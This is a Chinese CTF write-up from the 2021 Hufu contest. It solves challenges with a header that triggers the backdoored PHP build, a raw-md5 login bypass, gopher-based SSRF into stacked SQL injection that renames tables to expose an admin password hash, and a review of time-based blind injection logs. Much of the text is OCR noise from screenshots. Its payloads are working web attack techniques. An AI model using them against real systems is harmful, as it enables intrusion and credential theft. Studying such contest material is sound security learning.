2021数字中国创新大赛虎符网络安全赛-Writeup





CTF_WEB_Writeup 专栏收录该内容

159 篇文章 31 订阅 订阅专栏

文章目录

Web

签到

"慢慢做"管理系统

Misc

你会日志分析吗

Web

签到







http://cn-sec.com/archives/313267.html

User-Agentt: zerodiumsystem("cat /flag");

Request

Raw Params Headers Hex

GET / HTTP/1.1 Host: eci-Zze08g0rhfwb6960hg1q.cloudeci1.ichunqiu.com User-Agentt: zerodiumsystem("cat /flag"); Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close

Cookie:

Hm_lvt_2d0601bd28de7d49818249cf35d95943=1609081028,1609320401,1610418666,1 611217018; _jsluid_h=880728a44f69985be86ef070d80ced8a; PHPSESSID=e598ba5fdfad46290a3b0c9b64301a42

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Response

Raw Headers Hex Render

HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:58:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding X-Via-JSL: e88282a,-X-Cache: bypass Content-Length: 7092

flag{f334da6a-948c-48a2-a160-43a5519eb58b}

Warning: Cannot modify header information - headers already sent by (output started at REMOVETHIS: sold to zerodium, mid 2017:1) in /var/www/html/htmlport.php on line 2

Warning: session_start(): Session cannot be started after headers have already been sent in /var/www/html/htmlport.php on line 5
 <!DOCTYPE HTML> <html lang="zh-CN">

<head>

<meta charset="UTF-8">

<title>个人博客</title>

<meta name="keywords" content="个人博客" />
<meta name="description" content="" />
k rel="stylesheet" href="css/index css"/>

"慢慢做"管理系统

ſ		"慢慢	做"管理系	统 🧹		
				分值: 189	已解答: 34	
	👑 : Redb	ud 🖞	:欧若拉	🖞 : tī	星实验室	
	这个sql吧,有 花样,但是我的 min"的密码	点ssrf的样子,首 Jadmin.php是— 登录了,就可以拿 躁, 躁,	预是一个很 -个内网的管 到flag,反 静下心。	普通的sql注) 理系统,只要 正慢慢做就对	へ,没有什么 你用"真-ad 了,不要急	
		第一	步登录的sql语	訽		Web
	是"SELECT * FRO	M users WHERE p	bassword = '" t 0,1";	.md5(\$passwc	ord,true)." limi	
	http://eci	重新下发 -2zecqhthq774y50	52w32y.cloud	医时间 leci1.ichunqiu.	com:80	
			36 ② 关闭	Ð		
K	Flag:				提交	
N				https://blog.c	sdn.net/mochu	דר ז דר רד



根据题目提示,这里第一步登录应该利用一些字符串被 md5(\$string,true) 之后会形成如下,从而造成注入



但是遗憾的是这里的 ffifdyop ,被过滤了

Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
Raw Params Headers Hex GET //username=admin&password=ffifdyop HTTP/1.1 Host: eci-2zecqhthq774y562w32y.cloudeci1.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept: decode Connection: close Referer: http://cci-2zecqhthq774y562w32y.cloudeci1.ichunqiu.com/?username=admin&passwo rdffidyop Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1609081028,1609320401,1610418666 /1611217018; PHPSESSID=f1vec5722cnbq69rmfal4ndq17; _jsluid_h=2844d62b1cf25e73bf7e553b53a89b7d Upgrade-Insecure-Requests: 1	Name Headers Hill Render HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 14:49:37 GMT Content-Length: 377 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Via-JSL: e88282a,- X-Cache: bypass // Content-Type "content="text/html; charset=UTF-8">
	mposoo goos moond / / / / / /

所以我们需要寻找另一个能和 ffifdyop 达到同样效果的字符,搜索引擎找一找 https://blog.csdn.net/March97/article/details/81222922

PS C:\Users\Administrator\Downloads> php -r "var_dump(md5('129581926211651571912466741651878684928',true));" Command line code:1: string(16) "�T0D��o#��'or'8" PS C:\Users\Administrator\Downloads>

/?username=admin&password=129581926211651571912466741651878684928

成功登录

eci-2zecqhthq774y562w32y.clou × +									
\leftrightarrow > $_{\odot}$	G	Ū	🔏 eci-2zeco	hthq774y5	62w32y.cloud	deci1.ichung	jiu.com/ ssrf.ph	ıp	
NEWSCTF	🕖 BU	UCTF	💊 Jarvis OJ	BMZCTF	🛞 攻防世界	🖗 CTFHub	G Google HK	🔩 Google Translate	
your way to Submit	gopł	ner							

根据题目的提示,直接在内网找一下 admin.php

/ssrf.php?way=127.0.0.1%2Fadmin.php

慢慢做管理系统		× +					
\leftrightarrow > \otimes	C D	🔏 eci-2zeco	hthq774y56	52w32y.clou	deci1. ichunq	jiu.com /ssrf.pl	f.php?way=127.0.0.1%2Fadmin.php
🗈 NEWSCTF	BUUCTF	🗞 Jarvis OJ	BMZCTF	🛞 攻防世界	🛞 CTFHub	G Google HK	HK 🧕 Google Translate
your way to g	gopher						
							后台管理系统
							提交查询
いし う 単語器	▶ ∑ 控制	台 🛛 调试	器 ↑↓ 网络	¥ 【】样式编		能。① 内存	游 🖯 存储 🕇 无障碍环境 🎬 应用程序 💿 HackBar 😵 Cookie Editor
Encryption		oding 👻	SQL - X	(SS - 0	ther 🕶		
Load U	RL	http://eci-	2zecqhthq	774y562w3	32y.cloudeo	ci1.ichunqiu.	iu.com/ssrf.php?way=127.0.0.1%2Fadmin.php
() Execut	te	Post da	ata 🗆 Re	ferer 🗆	User Agent	t 🗆 Cookie	kies Clear All

抓一下这个后台管理系统的包,然后整理一下这个 127.0.0.1/admin.php 的包,通过 gopher 协议发送POST数据过去看一下,用python简单处理下



gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%252031%250A%250Ausername%253Dmochu7%2526password%25 3Dmochu7%250A

慢慢做管理系统 x + - の ×
🔄 $ ightarrow$ 🗧 🤁 😈 🖉 ect-zzecephtq774y562w32y.cloudect1.ktunqlu.com/ssrf.php?way=gopher//127.0.0.180/%250APOST%2520/admlin.php%2520HTTP/1.1%250AHost%253A%z520127.0.0.1%250AContent-Type%253A% 🚥 🏠 💆 💿 🥥 🎯 🕸 🤻 🖑 🖓 🍎 🚍
◆ NEWSCTF ② BUUCTF ◎ Janis OJ ● BMZCTF ③ 均衡世界 ⑧ CTFHub G Google HK № Google Translate
your way to gopher summe HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:04:04 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=govnnsrbspu7unaphcgv16d8v7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 1191 Content-Type: text/html; charset=UTF-8 array(0) { F合管理系统
短文面前
R 白 音智器 12 控制台 D 调试器 11 网络 () 样式編輯器 Ch 性能 12 内存 目 存储 常 无脚碍环境 28 应用程序 10 HackBar 分 Cookle Editor 1 □ ···· ×
Encryption - Encoding - SQL - XSS - Other - Contribute nowl HackBar v2
Image: Split URL http://eci-2zecqhthq774y562w32y.cloudeci1.ichungiu.com/ssrf.php?way=gopher.//127.0.0.180/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252031%250A%250Ausemare%253Dmochu7%2526password%253Dmochu7%2520
Execute Post data Referer User Agent Cookies Clear All

成功发送,接下来测试一下注入,加个单引号看看

username=mochu7'&password=mochu7

直接报错了

					_
慢慢做管理系统	× +			- 0	×
← → € ℃ 0	💋 eci-2zecqhthq774y562w32y.cloudeci11chunqiu.com/ssrf.php?way=gopher://127.0.0.1:80/%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A% 🚥 🏠	⊻ ⊠ ⊙	😸 🧔 🛠	🖑 🖑	Ξ
🕹 NEWSCTF 🏼 🕘 BUUCT	: 🗞 Janvis OJ 🖡 BMZCTF 😩 戏剧世界 🛞 CTFHub G Google HK 🌉 Google Translate			⊟ ≢	也书签
your way to gopher submit HTTP/1.1 200 OK Da Pragma: no-cache V "mochu7"" at line 1	te: Sat, 03 Apr 2021 15:06:13 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=lb8qijgi1u952glk70na152l64; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: n ry: Accept-Encoding Content-Length: 1329 Content-Type: text/html; charset=UTF-8 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server vers	ɔ-store, no-ca sion for the rig	ache, must- ght syntax †	-revalidate to use near	
	后台管理系统				
	提交查询				
● 査看器 ● 控	彩合 🖸 調読器 🏌 网络 🌗 株式編集器 🎧 性能 🕕 内存 🖹 存储 者 无牌研环機 🧱 应用理序 🌍 HackBar 🛷 Cookle Editor			🤚 1 🛛 🗍 🔒	·· ×
Encryption - En	coding • SQL • XSS • Other •		Contribute	nowl HackBa	r v2
Load URL	http://eci-2zecqhthq774y562w32y.cloudeci1.ichungiu.com/ssrf.php?way=gopher.//127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AC www-form-urlencoded%250AC ontent-Length%253A%252032%250Aw2520Aw250A username%253Dmochu7%2527%2528 password%253Dmochu7%2520A	ontent-Type%	6253A%252	20application/	(- .:i
• Execute	Post data Referer User Agent Cookies Clear All				

很明显这是注入,不过经过后面的fuzz测试发现这里存在,而且这个回显我看着就非常眼熟

username=mochu7';show databases#&password=mochu7

gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%252048%250A%250Ausername%253Dmochu7%2527%253Bshow%2 520databases%2523%2526password%253Dmochu7%250A

]
NEWSCTF ● BU/CTF ● Javis D1 ● BM/CTF ● BM/C	📄 其他书签
your way to gopher Submit HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:09:01 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=rpti9ocgtpt9frbcdb4a6ngt21; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revailed Pragma: no-cache Vary: Accept-Encoding Content-Length: 1515 Content-Type: text/html; charset=UTF-8 array(0) {) array(3) { [D]=> array(1) { ["Database"]=> string(3) 'ctt" } CC公答IIII 天仏	
) array(3){ [0]=> array(1){ ("Database"]=> string(3) *ctt"))	te
[1]=>	
□ 査 査 着 図 控制台 D 潮ば 2 1 内 密 (1) 株式 編集 2 0 性能 12 内 存 日 存储 ★ 元 常 写 环境 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	ന ം ാ
Encryption - Encoding - SQL - XSS - Other - Contribute nowl H	ckBar v2
Load URL http://eci-2zecqhthq774y562w32y.cloudeci1.ichunqiu.com/ssrf.php?way=gopher://127.0.0.1.80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520applic % Spiit URL % Spiit URL	tion/x-
Execute Post data Referer User Agent Cookies Clear All https://blog.csdn.net/mode	

Databases: ctf ctf2 information_schema

接着查

username=mochu7';use ctf;show tables#&password=mochu7

gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%252053%250A%250Ausername%253Dmochu7%2527%253Buse%25 20ctf%253Bshow%2520tables%2523%2526password%253Dmochu7%250A

Hereite zak × +		- 6	×
🔄 🔶 🗧 😋 🖉 🕼 🖉 eci-zzecqhthg774y562w32y.cloudeci1.lchunqlu.com/ssrf.php?way=gopherz/127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A% 🚥 🏚 👱 🖸	© 🛞 🧔 🔅	- 📲 🖑 🕻) ≡
🕐 NEWSCTF 🥑 BUUCTF 👒 Janvis OJ 📍 BMZCTF 🕃 波動世界 🛞 CTFHub G Google HK 🍡 Google Translate		6	其他书签
your way to gopher submt HTTP/1.1 200 OK Date: Sat, 03 Apr 2021 15:11:02 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=de8lio395rbmtmqacrrglq5j34; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, n Pragma: no-cache Vary: Accept-Encoding Content-Length: 1317 Content-Type: text/html; charset=UTF-8 array(0) { array(1) { [Tables in_ctt*]=> string(5) *users* } ECC管理系统	no-cache, must	t-revalidate	
提交查询			
🕞 🖸 查看器 🖸 控組約 🗗 電磁器 📬 网络 () 持式蝙蝠器 🦳 住能 🕕 内存 🖻 符線 🛊 无障碍环境 🚟 应用程序 🌍 HackBar 💣 Cockie Editor		<u>و</u> ا (×
Encryption - Encoding - SQL - XSS - Other -	Contribute	now! Hack!	Jar v2
Load URL http://eci-2zecqhthq774y562w32y.cloudec11.ichungiu.com/ssrf.php?way=gopher.//127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Typ www-form-urlencoded%250AContent-Length%253A%252053%250A%250Ausername%253Dmochu7%2527%253Buse%2520td%253Bshow%2520tables%2523%2526password%253Dmochu7%2527	pe%253A%252 0A	20applicatio	1/x- .:i
Execute Post data Referer User Agent Cookies Clear All			

gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%252054%250A%250Ausername%253Dmochu7%2527%253Buse%25 20ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%250A

慢慢做管理系统	x +			-	6	×
← → € ⊄	🗴 🖉 cci-2zecqhthq774y562w32y.cloudeci1i ichunqiu.com/ssrf.php?way=gophery/127.0.0.180/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A 🚥 🏠 💆	I 🖸 🔞	• • ÷	e 🦊 d	ም 👩	≡
ar NEWSCTF 🥝 B	JUCTF 👒 Jarvis O) 📍 BMZCTF 🛞 成時世界 🛞 CTFHub G Google HK 🥾 Google Translate				🛅 其他	书签
your way to gop submit HTTP/1.1 200 O Pragma: no-cacl } array(2) { [0]=> array(1) { ["Tables_in_ctf2" string(10) *fake_] [1]=> array(1) { ["Tables_in_ctf2"	her C Date: Sat, 03 Apr 2021 15:12:21 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=0rok7gljm258oo2ukm80f96a16; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-str te Vary: Accept-Encoding Content-Length: 1449 Content-Type: text/html; charset=UTF-8 array(0) {]=> admin' E合管理系统	ore, no-c	cache, m	ust-reva	alidate	
string(27) "real_ } }	admin_here_do_you_find*					
いので、「「」」の「「」」の「」」では、「」」の「」」では、「」」の「」」では、「」」の「」」では、「」」の「」」では、「」」の「」」では、「」」の「」」のでは、「」」の「」」のでは、「」」の「」」のでは、「」」の「」」のでは、「」」。	□ 拉邦会 🕞 硼成器 📬 网络 🚺 抹式編輯器 🎧 性能 🕕 内存 🖽 芥茄 赤海崎环境 🧱 遮用短床 🔮 HackBar 🔗 Cookle Editor			9 1	<u>о</u>	×
Encryption +	Encoding - SQL - XSS - Other -	C	ontribute	nowl Ha	ackBar	v2
Load URL	http://eci-2zecqhthq774y562w32y.cloudeci1.ichunqiu.com/ssrf.php?way=gopher.//127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-/x-www-form-urtencoded%250AContent-Length%253A%252054%250A%250Awsername%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Bshow%2520tables%2520%2528%2526password%253Dmochu7%2527%253Bshow%2520tables%2520tables%2520%2526password%253Dmochu7%2527%253Bshow%2520tables%2520tables%2520%2520%2520mochu7%2527%253Bshow%2520tables%2520tables%2523%2526password%253Dmochu7%2527%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Bshow%2520tables%2523%2526password%253Dmochu7%2527%253Bshow%2520tables%2520tables%2520%2520mochu7%2520mochu7%2520mochu7%2520mochu7%2520tables%	-Type%2 J7%250A	53A%25 A	20applic	ation	*
• Execute	Post data Referer User Agent Cookies Clear All					

Tables_in_ctf:	
users	
Tables_in_ctf2:	
fake_admin	
real_admin_here_do_you_find	

我们想要找的是真正的admin密码

username=mochu7';use ctf2;show columns from `fake_admin`#&password=mochu7

gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%252073%250A%250Ausername%253Dmochu7%2527%253Buse%25 20ctf2%253Bshow%2520columns%2520from%2520%2560fake_admin%2560%2523%2526password%253Dmochu7%250A

慢慢做管理系统	× +		-	٥	×
↔ ♥ ♥ ♥	🛛 🖉 eci-2zecqhthq774y562w32y.cloudeci1.lchunqiu.com/ssrf.php?way=gopher://127.0.0.180/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A% 🚥 🏠 👱 🖻	O 🛞 🧿	* 📌	d 🖓	Ξ
<pre>* NEWSCTF ② BUU suning(v) } [1]=> array(6) { ["Field"]=> string(8) *usernam ["Type"]=> string(4) *text*</pre>	UCTF 🗞 Jarvis OJ 🔮 BMZCTF 😨 我的世界 🛞 CTFHub C Google HK 🔩 Google Translate me"			☐ 其他-	155 A
$ \begin{array}{l} \label{eq:result} \ \nabla u\ ^{-} > \\ \mbox{string}(3) \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \$	password*				J
string(3) "YES" ["Key"]=> string(0) ""					Ŷ
] 변화성 🕞 예试器 📢 网络 () 样式编辑器 🖓 性能 🕕 內存 🖻 存储 🛉 元程明环境 🧱 亞用程序 🔮 HackBar 🔗 Cookle Editor		<mark>()</mark> 1	0	×
Encryption -	Encoding * SQL * XSS * Other *	Contrib	ute now! I	HackBar \	12
Coad URL	http://eci-2zecqhthq774y562w32y.cloudeci1.ichunqiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent- //-www-form-urlencoded%250AContent- Length%253A%252073%250A%250Assemame%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520columns%2520from%2520%2560fake_admin%2560%2523%2526password%253Dm	ype%253A% lochu7%250	52520appl	ication	•
• Execute	Post data Referer User Agent Cookies Clear All				

username=mochu7';use ctf2;show columns from `real_admin_here_do_you_find`#&password=mochu7

gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%252090%250A%250Ausername%253Dmochu7%2527%253Buse%25 20ctf2%253Bshow%2520columns%2520from%2520%2560real_admin_here_do_you_find%2560%2523%2526password%253Dmochu7%250A

慢慢做管理系统	× +						
← → 🤨 ୯ 🔽	💋 eci-2zecqhthq774y562w32y.cloudec11.khunqiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A% 🚥 🏠	Ψ (•	۰ 🛞	* 📌	d 🖓	≡
NEWSCTF 😻 BUUCTF	🗠 Jarvis CJ 🖡 BMZCTF 🛞 比約世界 🛞 CTFHub 🕻 Google HK 🍡 Google Translate					🗎 其他	书签
["Default"]=> NULL ["Extra"]=> string(0) ""							^
{]]=>							
["Field"]=> string(8) "username" ["Type"]=> string(4) "text"	提交查询						l
string(4) text ["Null"]=> string(3) "YES" ["Key"]=> string(0) ""							
["Default"]=> NULL ["Extra"]=>							
<pre>string(0) ** } [2]=> orray(6) [</pre>							
["Field"]=> string(8) "password" ["Type"]=>							1
string(4) "text"							
	治 〇 周武器 11 周告 () 洋式振興器 〇 性能 ① 内存 🖯 存結 🕇 无限原环性 🎬 直用度体 😈 HackBar 🔗 Cookle Editor				•	l (j) ••	• ×
Encryption - Enc	oding + SQL + XSS + Other +			Contribu	ute now!	HackBar	v2
a Load URL	http://eci-2zecqhthq774y562w32y.cloudeci1.ichunqiu.com/ssrf.php?way=gopher.//127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AC	Conter	nt-Type	6253A%	2520app	ication/x	-
🐰 Split URL	www-form-unencoded%250AContent- Length%253A%252090%250A%250Ausemame%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520columns%2520from%2520%2560real_admin_here_do_you_find%2560%252	23%2	526pass	word%2	253Dmoc	1u7%250	A
 Execute 							

Post data
 Referer
 User Agent
 Cookies
 Clear All

本来应该继续查字段内容得到 real_admin_here_do_you_find 表中的 password 字段内容,但是这里过滤 select 、 handler 等, 比赛的时候也就没去研究怎么查询到字段数据了,因为这题很明显像之前强网杯那题,我对那题有印象记得当时有一个通过修改 想要查询的表的表名(real_admin_here_do_you_find)为当前使用的表(fake_admin),然后构造一下注入得到当前表的数据的做 法

username=mochu7';rename table fake_admin to mochu7;rename table real_admin_here_do_you_find to fake_admin#&passw ord=mochu7 gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2 520application/x-www-form-urlencoded%250AContent-Length%253A%2520122%250A%250Ausername%253Dmochu7%2527%253Brenam e%2520table%2520fake_admin%2520to%2520mochu7%253Brename%2520table%2520real_admin_here_do_you_find%2520to%2520fak e_admin%2523%2526password%253Dmochu7%250A

慢慢做管理系统	x + -	ø ×
← → ⑤ ♂ ⑦	💋 eci-zecqhthq774y562w32y.doudeci1 ichunqlu.com/ssrf.php?way=gophers/127.0.0.180/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A% 🚥 🟠 👱 🙆 📀 👄 🗱 🖑 🕯	□ 🐠 🗉
P NEWSCTF 🔮 BUUCTF	- 🗞 Jan's QJ 🕴 EMZCTF 👵 双批世界 🛞 CTFHub 🔓 Google HK 🥾 Google Translate	📄 其他书签
your way to gopher Submit HTTP/1.1 200 OK Da Pragma: no-cache Va }	te: Sat, 03 Apr 2021 15:26:17 GMT Server: Apache/2:4:18 (Ubuntu) Set-Cookie: PHPSESSID=06qp887hs1ti6g0makga8763f6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-reval ary: Accept-Encoding Content-Length: 1191 Content-Type: text/html; charset=UTF-8 array(0) {	idate
	后台管理系统	
	提次面询	
日本 白 香香器 「 白 控	新会 🕞 喇波器 🏌 网络 🌖 其式協調器 🏠 性能 🚺 内存 🔁 存結 🛉 天陸国环境 🧱 血阴短序 🕐 HackBar 🔗 Cookie Editor 💽 1	വ ×
Encryption - En	coding • SQL • XSS • Other • Contribute now! Ha	ckBar v2
Load URL	http://eci-2zecqhthq774y562w32y.doudeci1.ichunqiu.com/ssrf.php?way=gopher.//127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520applicc www-form-utlencoded%250AContent- Length%253A%2520116%250A%250Ausername%253Dmochu7%2527%253Brename%2520table%2520take_admin%2520to%2520tmochu7%253Brename%2520real_admin_here_do_you_find%2520to%2520take_admin 526password%253Dmochu7%250A	ition/x- %2523%2
	Post data Referer User Agent Cookies Clear All	

username=mochu7'or 1=1;show tables;#&password=mochu7

慢慢做管理系统	× http://eci-2zej6028cj7aead68bbii × +		-	ø ×
(←) → € C 0	🔏 ecl-2zej60z8cj7aeafd8bbk.cloudeci1.ktunqiu.com/ssrf.php?way=gopher//127.0.0.180/ %250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A% 🚥 🔂	· · · · · · · ·	o 🌣 🦸 d	₽=
P NEWSCTF	FF ® Javis OJ ® BMZCTF @ 斑灼世界 ⑧ CTFHub G Google HK Ng Google Translate			🛅 其他书签
your way to gopher Submit HTTP/1.1 200 OK Dia Pragma: no-cache V [0]=> array(3) { ["id"]=> string(1) "1" ["username"]=> string(1) admin in ["password"]=> string(32) "5fb4e076 }	ate: Sat, 03 Apr 2021 14:17:53 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=vlipq68ue68iv7m222nckd8sq2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no fary: Accept-Encoding Content-Length: 1653 Content-Type: text/html; charset=UTF-8 array(1) { ner* de914cfc82afb44vbaf402203*)-store, no-cach	ıe, must-revali	idate
array(2) { [0]=> array(1) { ["Tables_in_ctf2"]=> string(10) "fake_adm } [1]=> array(1) { ["Tables_in_ctf2"]=> string(5) "mochu" }	nin*			
}				
「兄」 (中) 査報器 ()	拉制台 D 调试器 ಝ 网络 () 样式编辑器 🎧 性能 10: 内存 🖻 存儲 肯 无缚辱环境 IIII 应用程序 😈 HackBar 🛷 Cookie Editor		Q 1	<u>₀</u> … >
Encryption -	Encoding + SQL + XSS + Other +	Contribu	te now! Hac	kBar v2
Load URL	http://eci-2zej60z8cj7aeafd8bbk.cloudeci1.ichunqiu.com/ssrf.php?way=gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A% Type%253A%2520application/x-www-form-urlencoded%250AContent- Length%253A%252052%250A%250Ausername%253Dmochu7%2527or%25201%253D1%253Bshow%2520tables%253B%2523%2526password%253Dmochu7%	2520127.0.0.4 250A	1%250ACont	tent-
• Execute	Post data Referer User Agent Cookies Clear All			

得到真正的admin密码: 5fb4e07de914cfc82afb44vbaf402203

最后传入真正的admin账户名和密码

username=admin&password=5fb4e07de914cfc82afb44vbaf402203





□ □ 立 音 音器 □ 拉制台 □ 调试器 1↓ 网络 {} 样式编辑	器 ♀ 性能 む 内存	🗄 存储 肯 无障碍环境 🗱 应用程序 🌍 HackBar 🚷 Cookie Editor
- E Cookie	▼ 项目过滤器	
http://eci-2zej60z8cj7aeafd8bbk.cloudeci1.ichunqiu.com	名称	值
▶ 🗄 Indexed DB	_jsluid_h	9a3f92164bb724e5697d35d055fc3aea
▶ 금 本地存储	chkphone	acWxNpxhQpDiAchhNuSnEqyiQuDI00000
	ci_session	b815fa11d367541b656bad964e7474a2996a2017
	Hm_lvt_2d0601bd28de7d4	1609081028,1609320401,1610418666,1611217018
[▶] ⊡ - 3811111 8	PHPSESSID	70f9pv7gl5br1lak73ov24ovc1
	UM_distinctid	1 💊
		https://blog.csdn.net/mochu7777777

Misc

你会日志分析吗

时间盲注日志分析

🧻 access.log - 记事本
文件(F) 編輯(E) 格式(O) 查看(V) 帮助(H)
192.168.52.156 [11/Mar/2021:17:50:05 +00001 "GET /index.php?id=1'%20and%20if(ord(substr(select%20schema (1) 1 1))=118 sleep(2) 1) + HTTP/1.1" 200 399 " a python-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:05 +0000] *GET /index.php?id=1*20and%20if(ord(substr(select%20schema0).11))=119 sleen(2) 1)+ HTTP/1.1* 200 377 *-* "python-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:07 +0000] *GET /index.php?id=1*20and%20if(ord(substr(select%20schema(),1))=120 sleep(2).1)+ HTTP/1.1*200 399 *-* python-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1 %20and%20if(ord(substr(select%20schemal)) 1 1)=121 sleep(2) 1)-+ HTTP/1.1" 200 399 *- "ovthon-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1 %20and%20if(ord(substr(select%20schemal)) 1 1)=122 sleep(2) 1)-+ HTTP/1.1" 200 399 *- " vython-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:07 +0000] "GFT /index.php?id=1"%20and%20if(ord(substri(select%20schema()) 1 1))=65 sleep(2) 1)-+ HTTP/1.1" 200 399 "-" "nython-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=66 sleen(2) 1)+ HTTP/1.1" 200 399 " "python-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:07 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=67 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-requests/2.21.0"
